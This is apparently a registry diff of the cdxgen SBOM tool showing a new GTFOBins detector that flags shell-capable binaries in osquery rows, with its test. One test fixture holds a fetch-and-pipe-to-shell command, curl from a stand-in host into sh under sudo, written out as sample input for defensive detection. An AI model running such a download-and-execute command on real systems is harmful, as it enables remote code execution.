@cyclonedx/cdxgen 12.3.3 → 12.4.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (175) hide show
  1. package/README.md +69 -25
  2. package/bin/audit.js +21 -7
  3. package/bin/cdxgen.js +270 -127
  4. package/bin/convert.js +34 -15
  5. package/bin/hbom.js +495 -0
  6. package/bin/repl.js +592 -37
  7. package/bin/validate.js +31 -4
  8. package/bin/verify.js +18 -5
  9. package/data/README.md +298 -25
  10. package/data/component-tags.json +6 -0
  11. package/data/crypto-oid.json +16 -0
  12. package/data/cyclonedx-2.0-bundled.schema.json +7182 -0
  13. package/data/predictive-audit-allowlist.json +11 -0
  14. package/data/queries-darwin.json +12 -1
  15. package/data/queries-win.json +7 -1
  16. package/data/queries.json +39 -2
  17. package/data/rules/ai-agent-governance.yaml +16 -0
  18. package/data/rules/asar-archives.yaml +150 -0
  19. package/data/rules/chrome-extensions.yaml +8 -0
  20. package/data/rules/ci-permissions.yaml +42 -18
  21. package/data/rules/container-risk.yaml +14 -7
  22. package/data/rules/dependency-sources.yaml +11 -0
  23. package/data/rules/hbom-compliance.yaml +325 -0
  24. package/data/rules/hbom-performance.yaml +307 -0
  25. package/data/rules/hbom-security.yaml +248 -0
  26. package/data/rules/host-topology.yaml +165 -0
  27. package/data/rules/mcp-servers.yaml +18 -3
  28. package/data/rules/obom-runtime.yaml +907 -22
  29. package/data/rules/package-integrity.yaml +14 -0
  30. package/data/rules/rootfs-hardening.yaml +179 -0
  31. package/data/rules/vscode-extensions.yaml +9 -0
  32. package/lib/audit/index.js +210 -8
  33. package/lib/audit/index.poku.js +332 -0
  34. package/lib/audit/reporters.js +222 -0
  35. package/lib/audit/targets.js +146 -1
  36. package/lib/audit/targets.poku.js +186 -0
  37. package/lib/cli/asar.poku.js +328 -0
  38. package/lib/cli/index.js +527 -99
  39. package/lib/cli/index.poku.js +1469 -212
  40. package/lib/evinser/evinser.js +14 -9
  41. package/lib/helpers/analyzer.js +1406 -29
  42. package/lib/helpers/analyzer.poku.js +342 -0
  43. package/lib/helpers/analyzerScope.js +712 -0
  44. package/lib/helpers/asarutils.js +1556 -0
  45. package/lib/helpers/asarutils.poku.js +443 -0
  46. package/lib/helpers/auditCategories.js +12 -0
  47. package/lib/helpers/auditCategories.poku.js +32 -0
  48. package/lib/helpers/bomUtils.js +155 -1
  49. package/lib/helpers/bomUtils.poku.js +79 -1
  50. package/lib/helpers/cbomutils.js +271 -1
  51. package/lib/helpers/cbomutils.poku.js +248 -5
  52. package/lib/helpers/display.js +291 -1
  53. package/lib/helpers/display.poku.js +149 -0
  54. package/lib/helpers/evidenceUtils.js +58 -0
  55. package/lib/helpers/evidenceUtils.poku.js +54 -0
  56. package/lib/helpers/exportUtils.js +9 -0
  57. package/lib/helpers/gtfobins.js +142 -8
  58. package/lib/helpers/gtfobins.poku.js +24 -1
  59. package/lib/helpers/hbom.js +710 -0
  60. package/lib/helpers/hbom.poku.js +496 -0
  61. package/lib/helpers/hbomAnalysis.js +268 -0
  62. package/lib/helpers/hbomAnalysis.poku.js +249 -0
  63. package/lib/helpers/hbomLoader.js +35 -0
  64. package/lib/helpers/hostTopology.js +803 -0
  65. package/lib/helpers/hostTopology.poku.js +363 -0
  66. package/lib/helpers/inventoryStats.js +69 -0
  67. package/lib/helpers/inventoryStats.poku.js +86 -0
  68. package/lib/helpers/lolbas.js +19 -1
  69. package/lib/helpers/lolbas.poku.js +23 -0
  70. package/lib/helpers/osqueryTransform.js +47 -0
  71. package/lib/helpers/osqueryTransform.poku.js +47 -0
  72. package/lib/helpers/plugins.js +350 -0
  73. package/lib/helpers/plugins.poku.js +57 -0
  74. package/lib/helpers/protobom.js +209 -45
  75. package/lib/helpers/protobom.poku.js +183 -5
  76. package/lib/helpers/protobomLoader.js +43 -0
  77. package/lib/helpers/protobomLoader.poku.js +31 -0
  78. package/lib/helpers/remote/dependency-track.js +36 -3
  79. package/lib/helpers/remote/dependency-track.poku.js +44 -0
  80. package/lib/helpers/source.js +24 -0
  81. package/lib/helpers/source.poku.js +32 -0
  82. package/lib/helpers/utils.js +1438 -93
  83. package/lib/helpers/utils.poku.js +846 -4
  84. package/lib/managers/binary.e2e.poku.js +367 -0
  85. package/lib/managers/binary.js +2293 -353
  86. package/lib/managers/binary.poku.js +1699 -1
  87. package/lib/managers/docker.js +201 -79
  88. package/lib/managers/docker.poku.js +337 -12
  89. package/lib/server/server.js +4 -28
  90. package/lib/stages/postgen/annotator.js +38 -0
  91. package/lib/stages/postgen/annotator.poku.js +107 -1
  92. package/lib/stages/postgen/auditBom.js +121 -18
  93. package/lib/stages/postgen/auditBom.poku.js +1366 -31
  94. package/lib/stages/postgen/hostTopologyAudit.poku.js +186 -0
  95. package/lib/stages/postgen/postgen.js +406 -8
  96. package/lib/stages/postgen/postgen.poku.js +484 -0
  97. package/lib/stages/postgen/ruleEngine.js +116 -0
  98. package/lib/stages/pregen/envAudit.js +14 -3
  99. package/lib/validator/bomValidator.js +90 -38
  100. package/lib/validator/bomValidator.poku.js +90 -0
  101. package/lib/validator/complianceRules.js +4 -2
  102. package/lib/validator/index.poku.js +14 -0
  103. package/package.json +23 -21
  104. package/types/bin/hbom.d.ts +3 -0
  105. package/types/bin/hbom.d.ts.map +1 -0
  106. package/types/bin/repl.d.ts +1 -1
  107. package/types/bin/repl.d.ts.map +1 -1
  108. package/types/lib/audit/index.d.ts +44 -0
  109. package/types/lib/audit/index.d.ts.map +1 -1
  110. package/types/lib/audit/reporters.d.ts +16 -0
  111. package/types/lib/audit/reporters.d.ts.map +1 -1
  112. package/types/lib/audit/targets.d.ts.map +1 -1
  113. package/types/lib/cli/index.d.ts +16 -0
  114. package/types/lib/cli/index.d.ts.map +1 -1
  115. package/types/lib/evinser/evinser.d.ts +4 -0
  116. package/types/lib/evinser/evinser.d.ts.map +1 -1
  117. package/types/lib/helpers/analyzer.d.ts +33 -0
  118. package/types/lib/helpers/analyzer.d.ts.map +1 -1
  119. package/types/lib/helpers/analyzerScope.d.ts +11 -0
  120. package/types/lib/helpers/analyzerScope.d.ts.map +1 -0
  121. package/types/lib/helpers/asarutils.d.ts +34 -0
  122. package/types/lib/helpers/asarutils.d.ts.map +1 -0
  123. package/types/lib/helpers/auditCategories.d.ts +5 -0
  124. package/types/lib/helpers/auditCategories.d.ts.map +1 -1
  125. package/types/lib/helpers/bomUtils.d.ts +10 -0
  126. package/types/lib/helpers/bomUtils.d.ts.map +1 -1
  127. package/types/lib/helpers/cbomutils.d.ts +3 -2
  128. package/types/lib/helpers/cbomutils.d.ts.map +1 -1
  129. package/types/lib/helpers/display.d.ts.map +1 -1
  130. package/types/lib/helpers/evidenceUtils.d.ts +8 -0
  131. package/types/lib/helpers/evidenceUtils.d.ts.map +1 -0
  132. package/types/lib/helpers/exportUtils.d.ts.map +1 -1
  133. package/types/lib/helpers/gtfobins.d.ts +8 -0
  134. package/types/lib/helpers/gtfobins.d.ts.map +1 -1
  135. package/types/lib/helpers/hbom.d.ts +49 -0
  136. package/types/lib/helpers/hbom.d.ts.map +1 -0
  137. package/types/lib/helpers/hbomAnalysis.d.ts +76 -0
  138. package/types/lib/helpers/hbomAnalysis.d.ts.map +1 -0
  139. package/types/lib/helpers/hbomLoader.d.ts +7 -0
  140. package/types/lib/helpers/hbomLoader.d.ts.map +1 -0
  141. package/types/lib/helpers/hostTopology.d.ts +12 -0
  142. package/types/lib/helpers/hostTopology.d.ts.map +1 -0
  143. package/types/lib/helpers/inventoryStats.d.ts +11 -0
  144. package/types/lib/helpers/inventoryStats.d.ts.map +1 -0
  145. package/types/lib/helpers/lolbas.d.ts.map +1 -1
  146. package/types/lib/helpers/osqueryTransform.d.ts +3 -0
  147. package/types/lib/helpers/osqueryTransform.d.ts.map +1 -1
  148. package/types/lib/helpers/plugins.d.ts +58 -0
  149. package/types/lib/helpers/plugins.d.ts.map +1 -0
  150. package/types/lib/helpers/protobom.d.ts +5 -4
  151. package/types/lib/helpers/protobom.d.ts.map +1 -1
  152. package/types/lib/helpers/protobomLoader.d.ts +17 -0
  153. package/types/lib/helpers/protobomLoader.d.ts.map +1 -0
  154. package/types/lib/helpers/remote/dependency-track.d.ts +10 -3
  155. package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -1
  156. package/types/lib/helpers/source.d.ts.map +1 -1
  157. package/types/lib/helpers/utils.d.ts +45 -8
  158. package/types/lib/helpers/utils.d.ts.map +1 -1
  159. package/types/lib/managers/binary.d.ts +5 -0
  160. package/types/lib/managers/binary.d.ts.map +1 -1
  161. package/types/lib/managers/docker.d.ts.map +1 -1
  162. package/types/lib/server/server.d.ts +2 -1
  163. package/types/lib/server/server.d.ts.map +1 -1
  164. package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
  165. package/types/lib/stages/postgen/auditBom.d.ts +26 -1
  166. package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
  167. package/types/lib/stages/postgen/postgen.d.ts +2 -1
  168. package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
  169. package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
  170. package/types/lib/stages/pregen/envAudit.d.ts.map +1 -1
  171. package/types/lib/third-party/arborist/lib/node.d.ts +23 -0
  172. package/types/lib/third-party/arborist/lib/node.d.ts.map +1 -1
  173. package/types/lib/validator/bomValidator.d.ts.map +1 -1
  174. package/types/lib/validator/complianceRules.d.ts.map +1 -1
  175. package/data/spdx-model-v3.0.1.jsonld +0 -15999
@@ -1,11 +1,25 @@
1
1
  import { readFileSync } from "node:fs";
2
- import { basename, join } from "node:path";
2
+ import { basename } from "node:path";
3
+ import { fileURLToPath } from "node:url";
3
4
 
4
- import { dirNameStr, safeExistsSync } from "./utils.js";
5
-
6
- const GTFOBINS_INDEX_FILE = join(dirNameStr, "data", "gtfobins-index.json");
5
+ const GTFOBINS_INDEX_FILE = fileURLToPath(
6
+ new URL("../../data/gtfobins-index.json", import.meta.url),
7
+ );
7
8
  const GTFOBINS_REFERENCE_PREFIX = "https://gtfobins.github.io/gtfobins/";
8
9
  const PRIVILEGED_CONTEXTS = ["sudo", "suid", "capabilities"];
10
+ const MATCH_FIELDS = [
11
+ "name",
12
+ "path",
13
+ "cmdline",
14
+ "parent_cmdline",
15
+ "action",
16
+ "program",
17
+ "executable",
18
+ "description",
19
+ ];
20
+ const UNIX_PATH_PATTERN = /(?:^|[\s'"`=;|&(])((?:\.{0,2}\/|\/)[^\s'"`|;&()]+)/g;
21
+ const STANDALONE_COMMAND_PATTERN =
22
+ /(?:^|[\s;|&(])([a-z_][a-z0-9+._-]{1,})(?=$|[\s'"`|;&()])/gi;
9
23
  const CONTAINER_ESCAPE_HELPERS = new Set([
10
24
  "chroot",
11
25
  "ctr",
@@ -29,9 +43,6 @@ const VERSIONED_ALIASES = [
29
43
  const GTFOBINS_INDEX = loadGtfoBinsIndex();
30
44
 
31
45
  function loadGtfoBinsIndex() {
32
- if (!safeExistsSync(GTFOBINS_INDEX_FILE)) {
33
- return { entries: {}, source: GTFOBINS_REFERENCE_PREFIX, sourceRef: "" };
34
- }
35
46
  try {
36
47
  return JSON.parse(readFileSync(GTFOBINS_INDEX_FILE, "utf8"));
37
48
  } catch {
@@ -39,6 +50,32 @@ function loadGtfoBinsIndex() {
39
50
  }
40
51
  }
41
52
 
53
+ function uniqueSortedStrings(values) {
54
+ return [...new Set((values || []).filter(Boolean))].sort();
55
+ }
56
+
57
+ function collectValueCandidates(value) {
58
+ if (!value || typeof value !== "string") {
59
+ return [];
60
+ }
61
+ const candidates = new Set();
62
+ const trimmedValue = value.trim();
63
+ if (trimmedValue) {
64
+ candidates.add(trimmedValue);
65
+ }
66
+ for (const match of value.matchAll(UNIX_PATH_PATTERN)) {
67
+ if (match[1]) {
68
+ candidates.add(match[1]);
69
+ }
70
+ }
71
+ for (const match of value.matchAll(STANDALONE_COMMAND_PATTERN)) {
72
+ if (match[1]) {
73
+ candidates.add(match[1]);
74
+ }
75
+ }
76
+ return Array.from(candidates);
77
+ }
78
+
42
79
  function resolveCandidateName(candidate) {
43
80
  if (!candidate || typeof candidate !== "string") {
44
81
  return undefined;
@@ -123,7 +160,7 @@ export function getGtfoBinsMetadata(name, linkedName) {
123
160
  functions: entry.functions,
124
161
  matchSource: directMatch.matchSource,
125
162
  mitreTechniques: entry.mitreTechniques,
126
- privilegedContexts: entry.contexts.filter((context) =>
163
+ privilegedContexts: entry?.contexts?.filter((context) =>
127
164
  PRIVILEGED_CONTEXTS.includes(context),
128
165
  ),
129
166
  reference: `${GTFOBINS_REFERENCE_PREFIX}${encodeURIComponent(directMatch.canonicalName)}/`,
@@ -187,3 +224,100 @@ export function createGtfoBinsProperties(name, linkedName) {
187
224
  }
188
225
  return properties;
189
226
  }
227
+
228
+ /**
229
+ * Resolve GTFOBins properties for a live Linux osquery row.
230
+ *
231
+ * @param {string} queryCategory Osquery query category
232
+ * @param {object} row Osquery row
233
+ * @returns {Array<object>} CycloneDX custom properties
234
+ */
235
+ export function createGtfoBinsPropertiesFromRow(queryCategory, row) {
236
+ const matches = new Map();
237
+ for (const field of MATCH_FIELDS) {
238
+ const fieldValue = row?.[field];
239
+ if (!fieldValue) {
240
+ continue;
241
+ }
242
+ for (const candidate of collectValueCandidates(String(fieldValue))) {
243
+ const metadata = getGtfoBinsMetadata(candidate);
244
+ if (!metadata) {
245
+ continue;
246
+ }
247
+ const existing = matches.get(metadata.canonicalName) || {
248
+ fields: new Set(),
249
+ metadata,
250
+ };
251
+ existing.fields.add(field);
252
+ matches.set(metadata.canonicalName, existing);
253
+ }
254
+ }
255
+ if (!matches.size) {
256
+ return [];
257
+ }
258
+ const names = uniqueSortedStrings(Array.from(matches.keys()));
259
+ const matchFields = uniqueSortedStrings(
260
+ Array.from(matches.values()).flatMap((match) => Array.from(match.fields)),
261
+ );
262
+ const functions = uniqueSortedStrings(
263
+ Array.from(matches.values()).flatMap((match) => match.metadata.functions),
264
+ );
265
+ const contexts = uniqueSortedStrings(
266
+ Array.from(matches.values()).flatMap((match) => match.metadata.contexts),
267
+ );
268
+ const privilegedContexts = uniqueSortedStrings(
269
+ Array.from(matches.values()).flatMap(
270
+ (match) => match.metadata.privilegedContexts,
271
+ ),
272
+ );
273
+ const references = uniqueSortedStrings(
274
+ Array.from(matches.values()).map((match) => match.metadata.reference),
275
+ );
276
+ const riskTags = uniqueSortedStrings(
277
+ Array.from(matches.values()).flatMap((match) => match.metadata.riskTags),
278
+ );
279
+ const mitreTechniques = uniqueSortedStrings(
280
+ Array.from(matches.values()).flatMap(
281
+ (match) => match.metadata.mitreTechniques,
282
+ ),
283
+ );
284
+ const properties = [
285
+ { name: "cdx:gtfobins:matched", value: "true" },
286
+ { name: "cdx:gtfobins:names", value: names.join(",") },
287
+ { name: "cdx:gtfobins:matchFields", value: matchFields.join(",") },
288
+ { name: "cdx:gtfobins:queryCategory", value: queryCategory },
289
+ { name: "cdx:gtfobins:reference", value: references.join(",") },
290
+ { name: "cdx:gtfobins:sourceRef", value: GTFOBINS_INDEX.sourceRef || "" },
291
+ ];
292
+ if (functions.length) {
293
+ properties.push({
294
+ name: "cdx:gtfobins:functions",
295
+ value: functions.join(","),
296
+ });
297
+ }
298
+ if (contexts.length) {
299
+ properties.push({
300
+ name: "cdx:gtfobins:contexts",
301
+ value: contexts.join(","),
302
+ });
303
+ }
304
+ if (privilegedContexts.length) {
305
+ properties.push({
306
+ name: "cdx:gtfobins:privilegedContexts",
307
+ value: privilegedContexts.join(","),
308
+ });
309
+ }
310
+ if (riskTags.length) {
311
+ properties.push({
312
+ name: "cdx:gtfobins:riskTags",
313
+ value: riskTags.join(","),
314
+ });
315
+ }
316
+ if (mitreTechniques.length) {
317
+ properties.push({
318
+ name: "cdx:gtfobins:mitreTechniques",
319
+ value: mitreTechniques.join(","),
320
+ });
321
+ }
322
+ return properties;
323
+ }
@@ -2,7 +2,11 @@ import { strict as assert } from "node:assert";
2
2
 
3
3
  import { describe, it } from "poku";
4
4
 
5
- import { createGtfoBinsProperties, getGtfoBinsMetadata } from "./gtfobins.js";
5
+ import {
6
+ createGtfoBinsProperties,
7
+ createGtfoBinsPropertiesFromRow,
8
+ getGtfoBinsMetadata,
9
+ } from "./gtfobins.js";
6
10
 
7
11
  describe("gtfobins helpers", () => {
8
12
  it("returns metadata for exact GTFOBins matches", () => {
@@ -46,4 +50,23 @@ describe("gtfobins helpers", () => {
46
50
  propertyMap["cdx:gtfobins:reference"].endsWith("/gtfobins/docker/"),
47
51
  );
48
52
  });
53
+
54
+ it("derives GTFOBins properties from live Linux osquery rows", () => {
55
+ const properties = createGtfoBinsPropertiesFromRow("sudo_executions", {
56
+ path: "/usr/bin/bash",
57
+ cmdline: "bash -c 'curl https://example.invalid/p.sh | sh'",
58
+ parent_cmdline: "sudo bash -c payload",
59
+ });
60
+ const propertyMap = Object.fromEntries(
61
+ properties.map((property) => [property.name, property.value]),
62
+ );
63
+ assert.strictEqual(propertyMap["cdx:gtfobins:matched"], "true");
64
+ assert.ok(propertyMap["cdx:gtfobins:names"].includes("bash"));
65
+ assert.ok(propertyMap["cdx:gtfobins:functions"].includes("shell"));
66
+ assert.ok(
67
+ propertyMap["cdx:gtfobins:queryCategory"].includes("sudo_executions"),
68
+ );
69
+ assert.ok(propertyMap["cdx:gtfobins:matchFields"].includes("path"));
70
+ assert.ok(propertyMap["cdx:gtfobins:matchFields"].includes("cmdline"));
71
+ });
49
72
  });